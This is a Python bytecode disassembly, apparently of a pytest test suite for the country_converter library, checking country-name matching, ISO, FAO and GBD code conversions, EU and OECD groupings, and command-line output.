STORE_FAST aggregates_oecd_first LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates_oecd_first LOAD_CONST False LOAD_CONST True LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_oecd_eu LOAD_FAST agg_dict_oecd_eu LOAD_GLOBAL OrderedDict LOAD_CONST ('TW', 'TW') LOAD_CONST ('XX', 'XX') LOAD_CONST ('AT', 'OECD') LOAD_CONST ('US', 'OECD') LOAD_CONST ('WA', 'RoW') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'EU' STORE_FAST aggregates LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_CONST 'EXIO2' LOAD_FAST aggregates LOAD_CONST False LOAD_CONST 'RoW' LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_full_exio LOAD_GLOBAL len LOAD_FAST agg_dict_full_exio CALL_FUNCTION LOAD_CONST 48 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST agg_dict_full_exio LOAD_CONST 'US' BINARY_SUBSCR LOAD_CONST 'RoW' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST agg_dict_full_exio LOAD_CONST 'AT' BINARY_SUBSCR LOAD_CONST 'EU' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'norway' LOAD_CONST 'united_states' LOAD_CONST 'china' LOAD_CONST 'taiwan' BUILD_LIST STORE_FAST match_these LOAD_CONST 'USA' LOAD_CONST 'The Swedish Kingdom' LOAD_CONST 'Norway is a Kingdom too' LOAD_CONST 'Peoples Republic of China' LOAD_CONST 'Republic of China' BUILD_LIST STORE_FAST master_list LOAD_GLOBAL coco LOAD_METHOD match LOAD_FAST match_these LOAD_FAST master_list CALL_METHOD STORE_FAST matching_dict LOAD_FAST matching_dict LOAD_CONST 'china' BINARY_SUBSCR LOAD_CONST 'Peoples Republic of China' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST matching_dict LOAD_CONST 'taiwan' BINARY_SUBSCR LOAD_CONST 'Republic of China' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST matching_dict LOAD_CONST 'norway' BINARY_SUBSCR LOAD_CONST 'Norway is a Kingdom too' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'united states' STORE_FAST match_string_from LOAD_CONST 'USA' STORE_FAST match_string_to_correct LOAD_GLOBAL coco LOAD_METHOD match LOAD_FAST match_string_from LOAD_FAST match_string_to_correct CALL_METHOD STORE_FAST matching_dict LOAD_FAST matching_dict LOAD_CONST 'united states' BINARY_SUBSCR LOAD_CONST 'USA' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST ('united states',) STORE_FAST match_from LOAD_CONST ('abc',) STORE_FAST match_false LOAD_GLOBAL coco LOAD_METHOD match LOAD_FAST match_from LOAD_FAST match_false CALL_METHOD STORE_FAST matching_dict LOAD_FAST matching_dict LOAD_CONST 'united states' BINARY_SUBSCR LOAD_CONST 'not_found' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_METHOD match LOAD_FAST match_false LOAD_FAST match_false CALL_METHOD STORE_FAST matching_dict LOAD_FAST matching_dict LOAD_CONST 'abc' BINARY_SUBSCR LOAD_CONST 'not_found' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_ATTR convert LOAD_CONST 'abc' LOAD_CONST 'regex' LOAD_CONST ('src',) CALL_FUNCTION POP_TOP LOAD_CONST 'not found in regex' LOAD_FAST caplog LOAD_ATTR text COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST STORE_FAST inp_list LOAD_CONST 'a-b' STORE_FAST exp_string LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_FAST inp_list LOAD_CONST 'names' BUILD_LIST LOAD_CONST 'co1' LOAD_CONST 'co2' BUILD_LIST LOAD_CONST ('data', 'columns', 'index') CALL_FUNCTION STORE_FAST inp_df1col LOAD_FAST inp_df1col LOAD_ATTR T STORE_FAST inp_df2col LOAD_GLOBAL coco LOAD_ATTR cli_output LOAD_FAST inp_list LOAD_CONST '-' LOAD_CONST ('sep',) CALL_FUNCTION POP_TOP LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_FAST exp_string LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR cli_output LOAD_FAST inp_df1col LOAD_CONST '-' LOAD_CONST ('sep',) CALL_FUNCTION POP_TOP LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_FAST exp_string LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR cli_output LOAD_FAST inp_df2col LOAD_CONST '-' LOAD_CONST ('sep',) CALL_FUNCTION POP_TOP LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_FAST exp_string LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'US' LOAD_GLOBAL coco LOAD_ATTR convert LOAD_CONST 'usa' LOAD_CONST 'regex' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'AT' LOAD_GLOBAL coco LOAD_ATTR convert LOAD_CONST '40' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL KeyError CALL_METHOD SETUP_WITH to 30 STORE_FAST _ LOAD_GLOBAL coco LOAD_ATTR convert LOAD_CONST 'usa' LOAD_CONST 'abc' LOAD_CONST ('src',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_METHOD EU28as LOAD_CONST 'ISO2' CALL_METHOD STORE_FAST EU28 LOAD_GLOBAL len LOAD_FAST EU28 LOAD_CONST 28 COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION LOAD_FAST EU28 LOAD_ATTR ISO2 LOAD_METHOD tolist CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_METHOD EU27as LOAD_CONST 'ISO2' CALL_METHOD STORE_FAST EU27 LOAD_GLOBAL len LOAD_FAST EU27 LOAD_CONST 27 COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION LOAD_FAST EU27 LOAD_ATTR ISO2 LOAD_METHOD tolist CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'UK' LOAD_CONST 'regex' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION LOAD_FAST EU27 LOAD_ATTR ISO2 LOAD_METHOD tolist CALL_METHOD COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_METHOD EU27_2007as LOAD_CONST 'ISO2' CALL_METHOD STORE_FAST EU27_2007 LOAD_GLOBAL len LOAD_FAST EU27_2007 LOAD_CONST 27 COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION LOAD_FAST EU27_2007 LOAD_ATTR ISO2 LOAD_METHOD tolist CALL_METHOD COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'GB' LOAD_CONST 'regex' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION LOAD_FAST EU27_2007 LOAD_ATTR ISO2 LOAD_METHOD tolist CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR EXIO1 LOAD_ATTR EXIO1 LOAD_METHOD unique CALL_METHOD STORE_FAST exio1 LOAD_FAST cc LOAD_ATTR EXIO2 LOAD_ATTR EXIO2 LOAD_METHOD unique CALL_METHOD STORE_FAST exio2 LOAD_FAST cc LOAD_ATTR EXIO3 LOAD_ATTR EXIO3 LOAD_METHOD unique CALL_METHOD STORE_FAST exio3 LOAD_GLOBAL len LOAD_FAST exio1 CALL_FUNCTION LOAD_CONST 44 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST exio2 CALL_FUNCTION LOAD_CONST 48 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST exio3 CALL_FUNCTION LOAD_CONST 49 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WW' LOAD_FAST exio1 COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WA' LOAD_FAST exio2 COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WA' LOAD_FAST exio3 COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR WIOD LOAD_ATTR WIOD LOAD_METHOD unique CALL_METHOD STORE_FAST ws LOAD_GLOBAL len LOAD_FAST ws CALL_FUNCTION LOAD_CONST 41 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'RoW' LOAD_FAST ws COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'NLD' LOAD_FAST ws COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR Eora LOAD_ATTR Eora LOAD_METHOD unique CALL_METHOD STORE_FAST es LOAD_CONST 'AUT' LOAD_FAST es COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'AFG' LOAD_FAST es COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR MESSAGE LOAD_ATTR MESSAGE LOAD_METHOD unique CALL_METHOD STORE_FAST ms LOAD_GLOBAL len LOAD_FAST ms CALL_FUNCTION LOAD_CONST 11 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'PAO' LOAD_FAST ms COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'SAS' LOAD_FAST ms COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_GLOBAL all LOAD_FAST cc LOAD_ATTR EU28 LOAD_FAST cc LOAD_ATTR EU28as LOAD_CONST 'name_short' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_FAST cc LOAD_ATTR EU27 LOAD_FAST cc LOAD_ATTR EU27as LOAD_CONST 'name_short' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_FAST cc LOAD_ATTR OECD LOAD_FAST cc LOAD_ATTR OECDas LOAD_CONST 'name_short' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_FAST cc LOAD_ATTR UN LOAD_FAST cc LOAD_ATTR UNas LOAD_CONST 'name_short' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'AT' LOAD_CONST 'US' BUILD_LIST LOAD_GLOBAL sys STORE_ATTR argv LOAD_GLOBAL _parse_arg LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD LOAD_ATTR valid_class CALL_FUNCTION STORE_FAST args LOAD_FAST args LOAD_ATTR src LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST args LOAD_ATTR to LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'EXIO1' BUILD_LIST LOAD_GLOBAL sys STORE_ATTR argv LOAD_GLOBAL _parse_arg LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD LOAD_ATTR valid_class CALL_FUNCTION STORE_FAST args LOAD_FAST args LOAD_ATTR src LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST args LOAD_ATTR to LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SystemExit CALL_METHOD SETUP_WITH to 24 STORE_FAST e_sys LOAD_GLOBAL coco LOAD_METHOD main CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_CONST 'usage' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'names' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST e_sys LOAD_ATTR type LOAD_GLOBAL SystemExit COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL sys LOAD_ATTR argv LOAD_METHOD copy CALL_METHOD STORE_FAST _sysargv LOAD_CONST 'coco' LOAD_CONST 'AT' BUILD_LIST LOAD_GLOBAL sys STORE_ATTR argv LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SystemExit CALL_METHOD SETUP_WITH to 124 STORE_FAST e_sys LOAD_GLOBAL coco LOAD_METHOD main CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_CONST 'Austria' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST e_sys LOAD_ATTR type LOAD_GLOBAL SystemExit COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'coco' LOAD_CONST 'EXIO1' BUILD_LIST LOAD_GLOBAL sys STORE_ATTR argv LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SystemExit CALL_METHOD SETUP_WITH to 202 STORE_FAST e_sys LOAD_GLOBAL coco LOAD_METHOD main CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capsys LOAD_METHOD readouterr CALL_METHOD UNPACK_SEQUENCE STORE_FAST out STORE_FAST err LOAD_CONST 'AT' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WW' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST e_sys LOAD_ATTR type LOAD_GLOBAL SystemExit COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST _sysargv LOAD_GLOBAL sys STORE_ATTR argv LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 32 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Argentina' LOAD_CONST 'ISOnumeric' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 208 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Denmark' LOAD_CONST 'isocode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 412 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Kosovo' LOAD_CONST 'ISOnumeric' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 21 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'BRA' LOAD_CONST 'FAOcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 223 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'TUR' LOAD_CONST 'FAOcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 67 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'FIN' LOAD_CONST 'FAOcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 117 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'KOR' LOAD_CONST 'FAOcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 35 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Georgia' LOAD_CONST 'GBDcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 6 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'China' LOAD_CONST 'GBDcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 92 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Spain' LOAD_CONST 'GBDcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL open LOAD_GLOBAL non_matching_data LOAD_CONST 'r' CALL_FUNCTION SETUP_WITH to 34 STORE_FAST nmd LOAD_CONST <code object <listcomp> at 0x7fab542ad660, file "f.py", line 624> LOAD_CONST 'test_non_matching.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST nmd LOAD_METHOD readlines CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST content POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST <code object <listcomp> at 0x7fab542adf60, file "f.py", line 625> LOAD_CONST 'test_non_matching.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST content GET_ITER CALL_FUNCTION STORE_FAST non_countries LOAD_CONST 'nope' STORE_FAST not_found_indicator LOAD_GLOBAL warnings LOAD_METHOD catch_warnings CALL_METHOD SETUP_WITH to 126 POP_TOP LOAD_GLOBAL warnings LOAD_ATTR filterwarnings LOAD_CONST 'ignore' LOAD_CONST 'not found' LOAD_CONST ('message',) CALL_FUNCTION POP_TOP SETUP_LOOP to 122 LOAD_FAST non_countries GET_ITER FOR_ITER to 120 STORE_FAST reg_name LOAD_FAST not_found_indicator LOAD_GLOBAL coco LOAD_ATTR convert LOAD_FAST reg_name LOAD_CONST 'regex' LOAD_CONST 'ISO3' LOAD_FAST not_found_indicator LOAD_CONST ('src', 'to', 'not_found') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 32 STORE_FAST nc LOAD_FAST nc LOAD_METHOD startswith LOAD_CONST '#' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST nc LOAD_CONST '' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST nc LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST converter LOAD_CONST 'HRV' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'exio3_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WWE' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'exio2_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WWW' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Croatia' LOAD_CONST 'exio1_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WWM' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Egypt' LOAD_CONST 'exio3_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WWM' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Egypt' LOAD_CONST 'exio2_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'WWW' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'Egypt' LOAD_CONST 'exio1_3l' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST converter LOAD_ATTR data LOAD_ATTR EXIO1_3L LOAD_METHOD squeeze CALL_METHOD LOAD_METHOD unique CALL_METHOD CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST converter LOAD_ATTR data LOAD_ATTR EXIO1 LOAD_METHOD squeeze CALL_METHOD LOAD_METHOD unique CALL_METHOD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST converter LOAD_ATTR data LOAD_ATTR EXIO2_3L LOAD_METHOD squeeze CALL_METHOD LOAD_METHOD unique CALL_METHOD CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST converter LOAD_ATTR data LOAD_ATTR EXIO2 LOAD_METHOD squeeze CALL_METHOD LOAD_METHOD unique CALL_METHOD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 384 LOAD_FAST converter LOAD_ATTR data LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 382 STORE_FAST rr LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO3 LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'W' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO3_3L LOAD_CONST 'W' LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO3 BINARY_ADD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch: ' LOAD_FAST rr FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO2_3L LOAD_CONST 'W' LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO2 BINARY_ADD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch: ' LOAD_FAST rr FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO1_3L LOAD_CONST 'W' LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO1 BINARY_ADD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch: ' LOAD_FAST rr FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 592 LOAD_FAST converter LOAD_ATTR data LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 590 STORE_FAST rr LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO3_3L LOAD_CONST 'EXIO3_3L' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR 